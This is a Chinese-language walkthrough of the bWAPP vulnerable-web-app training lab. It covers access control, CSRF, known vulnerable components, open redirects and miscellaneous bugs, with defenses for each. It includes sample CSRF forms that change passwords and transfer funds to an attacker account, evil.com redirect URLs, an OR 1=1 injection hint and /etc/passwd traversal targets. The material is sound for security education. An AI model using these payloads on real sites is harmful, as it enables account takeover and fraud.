在 bWAPP 靶场中，你提到的这些漏洞涵盖了很多常见的 web 安全漏洞。下面是一些漏洞的通关答案以及漏洞原理解析：

A7 - Missing Functional Level Access Control

• 漏洞原理：应用程序没有限制用户能够访问的功能，导致用户能够绕过权限控制，执行本不应允许的操作。比如，普通用户可能能访问管理员功能。
• 通关：通常需要通过 URL 修改或手动修改 HTTP 请求中的参数，尝试访问管理员页面或其他敏感功能。

Directory Traversal - Directories

• 漏洞原理：攻击者可以通过目录遍历路径访问本应不被访问的目录。通常通过在 URL 或输入字段中输入 ../ 来上移到上级目录，进而访问服务器上的文件。
• 通关：尝试在路径中插入 ../ 来访问敏感目录。

Directory Traversal - Files

• 漏洞原理：与目录遍历类似，但这一次目标是访问服务器上的敏感文件，比如密码文件、配置文件等。
• 通关：尝试通过目录遍历访问如 /etc/passwd 或 /etc/shadow 等文件。

Host Header Attack (Cache Poisoning)

• 漏洞原理：攻击者篡改 Host 头部，可能导致缓存中毒，使得网站返回恶意内容。
• 通关：可以尝试在请求中篡改 Host 头部，使用不同的域名，查看响应是否发生变化。

Host Header Attack (Reset Poisoning)

• 漏洞原理：篡改 Host 头部来改变服务器行为或重置密码。例如，利用它进行 CSRF 攻击。
• 通关：通过篡改 Host 头，尝试进行密码重置或账户劫持。

Local File Inclusion (SQLiteManager)

• 漏洞原理：通过不正确地处理用户输入，攻击者可以将任意文件路径传递给服务器，导致包含本地文件。
• 通关：在 URL 或表单中尝试插入路径，触发本地文件包含。

Remote & Local File Inclusion (RFI/LFI)

• 漏洞原理：攻击者利用服务器未对用户输入进行充分验证，从而能够通过 URL 或路径参数引入恶意文件。
• 通关：通过尝试路径或 URL 来包含远程或本地的恶意文件。

Restrict Device Access

• 漏洞原理：应用程序没有限制对特定设备或硬件资源的访问，可能导致数据泄露或非法访问。
• 通关：通过尝试访问不同的设备或硬件资源来绕过访问控制。

Restrict Folder Access

• 漏洞原理：没有对特定文件夹的访问权限进行严格控制，攻击者可以访问本应不可访问的文件。
• 通关：通过目录遍历或直接访问文件夹来尝试访问敏感文件。

Server Side Request Forgery (SSRF)

• 漏洞原理：攻击者可以操控服务器发起请求，攻击内网或外部服务。
• 通关：在输入中尝试输入内网 IP 地址或利用 SSRF 发起恶意请求。

XML External Entity Attacks (XXE)

• 漏洞原理：攻击者利用 XML 解析器的漏洞，通过外部实体加载本地文件或发起远程请求，造成信息泄露或其他攻击。
• 通关：通过构造恶意的 XML 数据包来触发 XXE 攻击。

----------------------------------------------------------------------------------------------------

A8 - Cross-Site Request Forgery (CSRF)

漏洞原理：

Cross-Site Request Forgery (CSRF) 攻击是一种通过诱使已登录的用户在不知情的情况下执行不希望执行的操作的攻击方式。攻击者通过构造恶意请求来伪造合法用户的操作。该攻击依赖于用户的登录状态，并通常会针对用户的身份认证信息（如 cookies、session 等）来执行恶意操作。

例如，攻击者可以诱使受害者点击一个精心构造的链接，执行转账、修改密码等敏感操作。由于这些请求是从受害者的浏览器发出的，因此它们会携带受害者的认证信息（如 cookies），使得攻击成功。

常见攻击示例：

• 更改密码：攻击者可以诱使用户点击一个恶意链接，使得目标网站更改用户的密码。
• 更改秘密问题：类似更改密码，攻击者可以诱使用户更改自己的秘密问题或答案，以便后续攻击。
• 转账金额：攻击者可以伪造用户的转账请求，将资金转移到攻击者的账户。

---

1. Cross-Site Request Forgery (Change Password)

漏洞原理：

• 在此漏洞中，攻击者通过伪造用户的请求来更改密码。该攻击的关键点是攻击者可以知道密码修改的 URL，并能够控制请求中的参数（例如，新密码等）。

攻击过程：

1. 用户已经登录到目标应用，且存在密码更改功能（如通过 POST 请求提交 new_password）。
2. 攻击者构造一个带有更改密码请求的恶意链接，并发送给目标用户。此链接通常看起来是一个合法的链接，用户点击后会提交请求。
3. 如果用户没有退出登录且会话没有过期，浏览器会自动将用户的认证信息（如 cookies）附加到请求中，导致密码被更改为攻击者指定的值。

攻击示例： 攻击者可以构造一个类似以下的 HTML 表单：

<form action="http://victim.com/change_password" method="POST">
  <input type="hidden" name="new_password" value="attacker_password">
  <input type="submit" value="Click Here">
</form>

用户点击表单时，会提交 new_password=attacker_password，如果没有适当的防护，用户的密码会被更改。

2. Cross-Site Request Forgery (Change Secret)

漏洞原理：

• 类似于更改密码，CSRF 可以用来更改用户的安全秘密问题或答案。很多应用程序通过秘密问题作为额外的身份验证方式。如果攻击者能更改该信息，可能会导致后续的账户恢复或认证绕过。

攻击过程：

1. 攻击者向用户发送一个带有秘密问题更改请求的恶意链接。
2. 该请求会自动填充目标用户的 session 和 cookies 信息，从而伪造请求。
3. 一旦用户点击链接，应用程序会认为是该用户发出的请求，从而更改秘密问题或答案。

攻击示例： 攻击者可能构造如下请求，来更改秘密问题：

<form action="http://victim.com/change_secret" method="POST">
  <input type="hidden" name="new_secret" value="attacker_secret_answer">
  <input type="submit" value="Change Secret Answer">
</form>

用户点击该表单时，秘密答案将被更改为 attacker_secret_answer。

3. Cross-Site Request Forgery (Transfer Amount)

漏洞原理：

• CSRF 还可以被用来伪造转账请求，将用户账户中的资金转到攻击者的账户。通过伪造包含资金转账操作的请求，攻击者可以直接转移用户的资产，前提是用户已经登录且具有相应的权限。

攻击过程：

1. 用户已经登录到银行或支付平台等具有转账功能的应用。
2. 攻击者构造恶意请求，包含资金转移的操作（如转账金额和目标账户）。
3. 用户在不知情的情况下点击恶意链接，浏览器自动提交请求，将资金从用户账户转到攻击者指定的账户。

攻击示例： 假设用户登录了一个在线支付平台，攻击者可能构造如下的请求表单来执行转账操作：

<form action="http://victim.com/transfer" method="POST">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to_account" value="attacker_account">
  <input type="submit" value="Transfer Money">
</form>

用户点击后，资金将被转移到 attacker_account。

---

防御策略：

1. 使用 Token 验证：

   • 在表单中使用 CSRF token，每次提交请求时，必须携带该 token，并且后端验证其有效性。攻击者无法伪造带有有效 token 的请求。

2. Referer 和 Origin 头检查：

   • 在服务器端检查 Referer 或 Origin 请求头，确保请求来自可信来源。这样可以避免来自第三方站点的恶意请求。

3. SameSite Cookie 属性：

   • 为 cookies 设置 SameSite 属性，防止在跨站请求时自动携带用户的认证信息，限制第三方网站发起的请求。

4. 登录会话管理：

   • 定期检查和重新验证用户会话，避免攻击者利用用户长时间的登录状态发起 CSRF 攻击。

---

bWAPP 靶场通关提示：

在 bWAPP 中，针对 CSRF 漏洞的通关一般是通过模拟 CSRF 攻击的方式来进行的。具体步骤包括：

1. 分析应用是否存在密码更改、秘密问题修改或转账功能。
2. 构造包含敏感操作（如更改密码、转账等）的伪造请求。
3. 通过点击恶意链接或加载恶意页面来触发操作。

如果靶场中没有防护机制（如 CSRF token），这些操作通常会成功执行。

如果遇到困难，你可以尝试利用浏览器的开发者工具查看请求和响应，确认是否存在 CSRF 漏洞，或者是否存在有效的防护。

---

-------------------------------------------------------------------------------------------

A9 - Using Known Vulnerable Components

这一部分涉及利用已知的、存在漏洞的组件进行攻击。在现代 web 应用程序中，第三方组件和库的使用非常普遍，而这些组件如果没有及时更新或加固，可能成为攻击的入口。bWAPP 靶场中的一些漏洞模拟了这些已知的漏洞，下面是每个漏洞的详细说明和通关答案。

---

1. Buffer Overflow (Local)

漏洞原理：

• 缓冲区溢出是指在程序中写入超过分配内存的长度数据，可能覆盖相邻内存区域，导致程序异常或执行任意代码。通常，攻击者利用这一点来修改程序的控制流，执行恶意代码。

攻击方式：

• 攻击者通过输入超长数据（如输入字段、URL 参数等）来覆盖缓冲区，从而触发溢出，执行任意代码。

通关：

• 在靶场中，模拟本地缓冲区溢出攻击时，通常需要通过一些已知的漏洞利用工具（如 gdb 或一些缓冲区溢出脚本）触发本地执行。攻击成功后，可以查看程序是否崩溃或是否执行了攻击者插入的恶意代码。

---

2. Buffer Overflow (Remote)

漏洞原理：

• 远程缓冲区溢出与本地缓冲区溢出类似，不同之处在于它是通过网络远程触发的。攻击者可以利用网络接口（如表单提交、HTTP 请求等）向目标应用程序发送恶意输入数据，触发缓冲区溢出，进而执行远程代码。

攻击方式：

• 通过特制的输入数据（如 HTTP 请求中的字段、GET 参数等）覆盖缓冲区，执行任意代码。

通关：

• 通常通过构造特制的请求或数据包来触发溢出，导致目标系统崩溃或执行恶意代码。在靶场中，输入某些特定参数时会触发该漏洞，导致页面崩溃或返回错误消息。

---

3. Drupal SQL Injection (Drupageddon)

漏洞原理：

• Drupageddon 是 Drupal CMS 中的一系列 SQL 注入漏洞，允许攻击者执行任意 SQL 查询，甚至在数据库中执行任意代码。该漏洞影响 Drupal 7.x 和早期版本的 Drupal 8.x。

攻击方式：

• 利用 SQL 注入漏洞，攻击者可以通过输入恶意 SQL 语句，绕过身份验证，获取管理员权限或删除数据库。

通关：

• 在 bWAPP 中，可以通过向应用程序发送特制的 SQL 查询（例如，在输入字段中插入 OR 1=1）来触发 SQL 注入，进一步绕过身份验证或获取管理员权限。

---

4. Heartbleed Vulnerability

漏洞原理：

• Heartbleed 漏洞存在于 OpenSSL 库中的 Heartbeat 扩展，允许攻击者从受影响的服务器中读取内存中的敏感信息（如 SSL 密钥、用户会话数据等）。

攻击方式：

• 攻击者可以发送特制的心跳请求，利用 Heartbleed 漏洞从服务器的内存中泄露敏感数据。

通关：

• 在 bWAPP 中，攻击者需要构造特定的心跳请求包，触发漏洞，从而泄露服务器的敏感数据。可以通过工具（如 nmap 或专用的 Heartbleed 脚本）来检测并利用该漏洞。

---

5. PHP CGI Remote Code Execution

漏洞原理：

• PHP CGI远程代码执行是 PHP 中 CGI 模式的一个漏洞。攻击者可以通过构造特制的 HTTP 请求来利用该漏洞，执行任意 PHP 代码。

攻击方式：

• 攻击者通过向目标服务器发送包含恶意 PHP 代码的请求（通常通过 URL）来执行代码。

通关：

• 在 bWAPP 中，攻击者可以通过发送特制的请求来触发该漏洞，执行远程 PHP 代码，获取服务器控制权。

---

6. PHP Eval Function

漏洞原理：

• PHP Eval() 函数漏洞是指应用程序错误地使用 eval() 函数来执行用户输入的数据，攻击者可以通过输入恶意代码来执行任意 PHP 代码。

攻击方式：

• 攻击者通过输入 PHP 代码，利用 eval() 执行，可能导致代码执行漏洞。

通关：

• 在靶场中，攻击者可以通过修改输入数据，利用 eval() 执行恶意代码，例如注入恶意 PHP 代码，获取 WebShell。

---

7. phpMyAdmin BBCode Tag XSS

漏洞原理：

• phpMyAdmin BBCode Tag XSS 漏洞存在于 phpMyAdmin 中，攻击者通过 BBCode 标签注入恶意 JavaScript 代码，执行 XSS 攻击。

攻击方式：

• 攻击者构造恶意的 BBCode 标签，插入到 phpMyAdmin 的输入框中，触发 XSS 漏洞，在其他用户浏览器中执行恶意脚本。

通关：

• 在 bWAPP 中，攻击者可以通过提交带有恶意脚本的 BBCode 标签，触发跨站脚本（XSS）攻击，窃取用户的 session 或执行其他恶意操作。

---

8. Shellshock Vulnerability (CGI)

漏洞原理：

• Shellshock 漏洞是一个 Bash 远程命令执行漏洞，存在于很多基于 CGI 的 Web 服务器中。攻击者通过构造特制的 HTTP 请求，传递特定的环境变量，触发远程代码执行。

攻击方式：

• 攻击者发送特制的请求，其中包含恶意环境变量，执行 Bash shell 命令。

通关：

• 在 bWAPP 中，攻击者通过构造恶意的 CGI 请求，执行远程命令并获取系统的控制。

---

9. SQLiteManager Local File Inclusion

漏洞原理：

• SQLiteManager Local File Inclusion (LFI) 漏洞允许攻击者利用应用程序未能正确验证用户输入，导致文件包含攻击。攻击者可以包含本地文件，如 /etc/passwd 或其他敏感文件。

攻击方式：

• 攻击者通过输入特制的路径，利用 LFI 漏洞读取服务器上的敏感文件。

通关：

• 在 bWAPP 中，攻击者可以通过路径遍历（如 ../）来访问服务器上的敏感文件或触发其他攻击。

---

10. SQLiteManager PHP Code Injection

漏洞原理：

• PHP 代码注入 漏洞允许攻击者将恶意 PHP 代码注入到应用程序中，执行任意操作。

攻击方式：

• 攻击者通过输入字段或 URL 参数，注入 PHP 代码并执行。

通关：

• 在 bWAPP 中，攻击者可以通过注入 PHP 代码，执行任意命令，获取控制权限。

---

11. SQLiteManager XSS

漏洞原理：

• XSS（跨站脚本攻击） 漏洞允许攻击者通过注入恶意 JavaScript 代码，在其他用户的浏览器中执行脚本。该漏洞通常发生在应用程序未对用户输入进行适当的转义和验证时。

攻击方式：

• 攻击者通过输入框或 URL 参数，注入恶意脚本，执行跨站脚本攻击。

通关：

• 在 bWAPP 中，攻击者可以通过在表单或输入框中注入恶意 JavaScript 代码，触发 XSS 漏洞，窃取用户信息或执行其他恶意操作。

---

总结与防御策略：

• 更新组件：定期更新和修补第三方组件、库和框架，防止已知漏洞被利用。
• 输入验证：对所有用户输入进行严格的验证，避免 SQL 注入、XSS 和代码注入等攻击。
• 最小权限原则：确保系统仅允许最小权限的操作，避免滥用权限导致攻击。
• 安全配置：禁用不必要的功能（如 eval()、exec() 等），加强 Web 服务器和应用的安全配置。

在 bWAPP 靶场中，可以通过模拟这些攻击，学习如何发现和修复这些漏洞。

----------------------------------------------------------------------------------------------------------------

A10 - Unvalidated Redirects & Forwards

漏洞原理： 未验证的重定向和转发（Unvalidated Redirects & Forwards） 是一种常见的安全漏洞，攻击者可以通过操控应用程序的重定向或转发功能，将用户引导到恶意网站或恶意页面。此类攻击通常利用应用程序在处理 URL 路径或跳转时没有进行适当的验证和过滤，导致攻击者能够伪造跳转目标。

应用程序在某些操作后可能会将用户重定向到特定页面，正常情况下，用户会被重定向到可信的 URL。但如果应用程序没有验证这些 URL 是否来自于信任的源，攻击者就可以将用户引导到一个恶意站点，进行钓鱼攻击、恶意软件下载或其他社交工程攻击。

---

漏洞类型及通关答案

1. Unvalidated Redirects & Forwards (1)

漏洞原理：

• 未验证的重定向漏洞通常发生在 Web 应用程序中，允许用户提供一个 URL 作为重定向目标，且应用没有对该 URL 进行充分的验证。例如，攻击者可以通过在 URL 参数中插入恶意地址，将用户重定向到一个恶意站点。

攻击方式：

• 攻击者通过修改 URL 中的重定向参数，诱使用户访问恶意站点。例如，URL 参数可能像 redirect=http://evil.com，如果没有验证，应用程序将重定向用户到该站点。

通关：

• 靶场操作：在 bWAPP 中，通常会有一个 URL 重定向或转发参数，攻击者可以在这些参数中修改或插入恶意的 URL。通过在请求中注入恶意链接（如 http://evil.com），让应用进行不安全的重定向。

示例： 假设应用程序使用一个 URL 参数 redirect 来处理重定向：

http://example.com/redirect?url=http://evil.com

如果应用没有验证该 URL 是否指向可信站点，它可能会将用户重定向到 evil.com，导致攻击者的恶意页面被访问。

---

2. Unvalidated Redirects & Forwards (2)

漏洞原理：

• 未验证的转发漏洞通常与未验证的重定向相似，但主要区别在于，转发通常是在应用程序内进行的跳转，而非到外部 URL。应用程序可能基于一些条件（例如，登录状态）将用户转发到某个页面，而攻击者可以通过篡改条件来强制转发用户到恶意页面。

攻击方式：

• 攻击者可以通过操控输入参数，或者利用漏洞绕过正常的权限检查，使得用户被转发到攻击者控制的页面或恶意网站。

通关：

• 靶场操作：在 bWAPP 中，攻击者可以通过手动修改请求参数或通过漏洞利用未验证的转发，强制将用户转发到恶意网站或伪造页面。测试时，通常通过修改 URL 中的 redirect 或 forward 参数，来实现攻击。

示例： 假设应用程序通过 forward 参数进行页面跳转：

http://example.com/forward?nextpage=dashboard

攻击者可以尝试通过修改 nextpage 参数，进行未授权的转发：

http://example.com/forward?nextpage=http://evil.com

如果应用没有正确验证 nextpage 参数，攻击者就能将用户重定向到恶意站点。

---

通关策略和防护措施

1. 输入验证：

• 始终对用户提供的 URL 或跳转地址进行验证，确保其指向的是可信的来源或允许的站点。可以限制重定向 URL 只能指向同一个域名下的路径。

2. 使用白名单：

• 对重定向目标进行白名单控制，只允许跳转到预定义的安全网址列表，拒绝所有未在列表中的 URL。

3. 相对路径跳转：

• 使用相对路径而非绝对 URL 进行跳转，减少被攻击者操控的风险。例如，/dashboard 而不是 http://evil.com/dashboard。

4. 不允许通过 URL 参数进行重定向：

• 避免通过 URL 参数直接进行重定向操作，或者对重定向地址进行严格的验证和清理。

5. 添加用户确认：

• 在执行重定向操作之前，添加确认步骤，或者在重定向过程中显示目标页面的说明，提醒用户该操作。

---

bWAPP 通关示例

1. Unvalidated Redirects & Forwards (1)：

   • 访问靶场中的应用，观察是否存在类似于 redirect 或 url 参数的地方，可能是用户能够控制重定向目标的位置。
   • 在参数中注入恶意 URL，例如 http://evil.com，然后点击链接，看看是否会重定向到该恶意站点。

2. Unvalidated Redirects & Forwards (2)：

   • 类似于第一个漏洞，但这一次可能是基于某个内部页面的转发，而不是外部重定向。
   • 找到可以转发的地方，修改 URL 中的 nextpage 或 forward 参数，注入攻击者控制的 URL，进行转发。

---

总结

未验证的重定向和转发漏洞（Unvalidated Redirects & Forwards）是由于缺乏适当的用户输入验证，导致用户被恶意重定向到攻击者控制的站点。通过适当的输入验证、白名单控制和避免使用用户提供的 URL 进行重定向，可以有效防止此类漏洞。bWAPP 中通过手动修改 URL 参数来模拟攻击，帮助我们理解这种漏洞的实际应用。

--------------------------------------------------------------------------

Other Bugs (常见漏洞)

---

1. ClickJacking (Movie Tickets)

漏洞原理：

• ClickJacking 是一种欺骗性攻击，攻击者将透明的 iframe 嵌入到看似合法的页面中，诱使用户点击被隐藏的恶意元素。例如，在看似正常的按钮上点击，实际上触发的是 iframe 内的恶意操作。

攻击方式：

• 攻击者通过将一个透明的 iframe 放置在合法的网页元素上（如按钮或链接）之下，诱使用户点击隐藏的恶意元素，而这些元素实际上可能导致敏感操作，如购买电影票等。

通关：

• 在 bWAPP 中，攻击者需要通过嵌入透明的 iframe 或者将 iframe 层叠在页面上，触发隐藏的点击事件。可以通过利用 X-Frame-Options HTTP 头信息禁用 iframe 的嵌套来防御此类攻击。

---

2. Client-Side Validation (Password)

漏洞原理：

• 客户端验证漏洞是指应用程序仅依赖于客户端（浏览器）进行输入验证，攻击者可以绕过这些验证，直接通过修改请求数据进行操作。典型的场景是在提交密码或表单时，前端仅使用 JavaScript 验证。

攻击方式：

• 攻击者可以通过禁用 JavaScript 或修改前端代码，绕过客户端验证，直接提交未经验证的输入到服务器。

通关：

• 在 bWAPP 中，可以通过禁用浏览器的 JavaScript 或修改 HTML 表单，提交不符合验证规则的数据。需要检查服务器端是否对输入数据进行了足够的验证。

---

3. HTTP Parameter Pollution (HPP)

漏洞原理：

• HTTP 参数污染 (HPP) 是指在 HTTP 请求中传递多个具有相同名称的参数，造成应用程序无法正确处理参数，可能导致参数混淆、绕过验证或执行恶意操作。

攻击方式：

• 攻击者通过在 URL 或表单参数中插入重复的参数名，诱使应用程序处理多个参数时发生混淆，可能导致未经授权的行为。

通关：

• 在 bWAPP 中，攻击者可以通过修改 URL 或表单数据，插入重复的参数（例如，id=123&id=456），检查是否会引发异常或绕过验证。

---

4. HTTP Response Splitting

漏洞原理：

• HTTP 响应分割是指攻击者利用不当的输入验证，将 HTTP 响应拆分成多个部分，注入恶意内容，可能导致缓存投毒、跨站脚本（XSS）等攻击。

攻击方式：

• 攻击者通过操控 HTTP 响应头（如 Location 或 Set-Cookie）插入恶意换行符（\r\n），分割响应并插入恶意内容或重定向。

通关：

• 在 bWAPP 中，攻击者可以尝试通过修改 HTTP 请求头，插入恶意换行符，导致响应内容被分割并插入攻击代码或重定向。

---

5. HTTP Verb Tampering

漏洞原理：

• HTTP 动词篡改是指攻击者通过操控 HTTP 请求的动词（如 GET、POST、DELETE）来绕过 Web 服务器的请求处理或安全控制。

攻击方式：

• 攻击者可以通过修改 HTTP 请求的动词（例如，将 POST 改为 GET），可能会绕过服务器的认证或执行意外的操作。

通关：

• 在 bWAPP 中，攻击者可以通过修改 HTTP 请求的动词，检查是否能够绕过安全控制或获取未授权的访问权限。

---

6. Information Disclosure - Favicon

漏洞原理：

• 信息泄露 - Favicon 是指 Web 应用程序错误地暴露了敏感信息在网站的 favicon 图标文件中。favicon 文件通常存储在 /favicon.ico 或其他路径下，攻击者可以访问该文件获取信息。

攻击方式：

• 攻击者直接访问网站的 favicon 文件，可能泄露应用程序的内部结构或敏感信息。

通关：

• 在 bWAPP 中，可以尝试访问 favicon 文件（如 /favicon.ico）并查看是否包含敏感信息，如应用程序版本、配置文件等。

---

7. Information Disclosure - Headers

漏洞原理：

• 信息泄露 - 响应头指的是服务器通过 HTTP 响应头泄露了敏感信息。例如，服务器可能会在响应头中包含版本号、操作系统类型、Web 服务器类型等信息。

攻击方式：

• 攻击者可以通过分析 HTTP 响应头获取应用程序的技术栈和版本信息，从而为后续的攻击提供线索。

通关：

• 在 bWAPP 中，可以通过开发者工具或其他抓包工具查看 HTTP 响应头，检查是否包含敏感信息（如 X-Powered-By、Server 等字段）。

---

8. Information Disclosure - PHP Version

漏洞原理：

• 信息泄露 - PHP 版本指的是服务器通过 HTTP 响应头或错误信息泄露 PHP 版本号。攻击者可以根据 PHP 版本号推测出潜在的漏洞，并进行攻击。

攻击方式：

• 攻击者可以通过查看 PHP 版本号，查找该版本的已知漏洞进行攻击。

通关：

• 在 bWAPP 中，可以通过查看 HTTP 响应头或错误页面，查找是否暴露了 PHP 版本号。若有，可以根据该版本号查找已知漏洞并尝试利用。

---

9. Information Disclosure - Robots File

漏洞原理：

• 信息泄露 - Robots 文件是指网站公开了 robots.txt 文件，攻击者可以通过访问该文件发现站点的敏感路径或隐藏页面。

攻击方式：

• 攻击者可以通过分析 robots.txt 文件，发现被禁止索引的路径或文件，从而发起进一步的攻击。

通关：

• 在 bWAPP 中，攻击者可以访问 /robots.txt 文件，查看是否列出了敏感的目录或文件路径，进而尝试访问这些路径。

---

10. Insecure iFrame (Login Form)

漏洞原理：

• 不安全的 iFrame是指在页面中嵌入了不安全的 iframe，攻击者可以通过该 iframe 执行点击劫持攻击或加载恶意内容。

攻击方式：

• 攻击者将包含登录表单的页面嵌入到 iframe 中，通过精心设计的布局诱导用户在 iframe 中输入敏感信息（如用户名、密码）。

通关：

• 在 bWAPP 中，可以通过嵌入不安全的 iframe，诱使用户在 iframe 内填写敏感信息，如登录凭证，进行模拟攻击。

---

11. Unrestricted File Upload

漏洞原理：

• 无限制文件上传漏洞是指 Web 应用程序没有对上传文件的类型、大小或内容进行充分的验证，导致攻击者能够上传恶意文件（如 Web Shell）。

攻击方式：

• 攻击者可以通过上传带有恶意代码的文件（如 PHP Web Shell），绕过文件类型和扩展名限制，执行恶意操作。

通关：

• 在 bWAPP 中，攻击者可以尝试上传带有恶意 PHP 代码的文件（如 .php 文件）并测试能否通过服务器执行该文件。

---

总结与防御策略：

1. ClickJacking 防御：使用 X-Frame-Options HTTP 头部禁止站点被嵌入 iframe 中，防止 Clickjacking 攻击。
2. 客户端验证漏洞防御：不要仅依赖客户端验证，所有敏感操作都应该由服务器端进行验证。
3. HPP 防御：对请求中的重复参数进行严格检查，防止攻击者利用多个相同参数混淆服务器处理。
4. HTTP Response Splitting 防御：在构造响应头时，避免包含不受信任的用户输入。
5. HTTP Verb Tampering 防御：通过适当的服务器端验证，确保请求的方法与预期相符。
6. 信息泄露防御：配置 Web 服务器，避免泄露敏感信息，如版本号、内部路径等。
7. 文件上传防御：对上传文件进行严格的类型、大小和内容检查，防止恶意文件上传。

这些漏洞在 bWAPP 中的通关可以帮助了解不同攻击类型的原理和如何应对相应的安全威胁。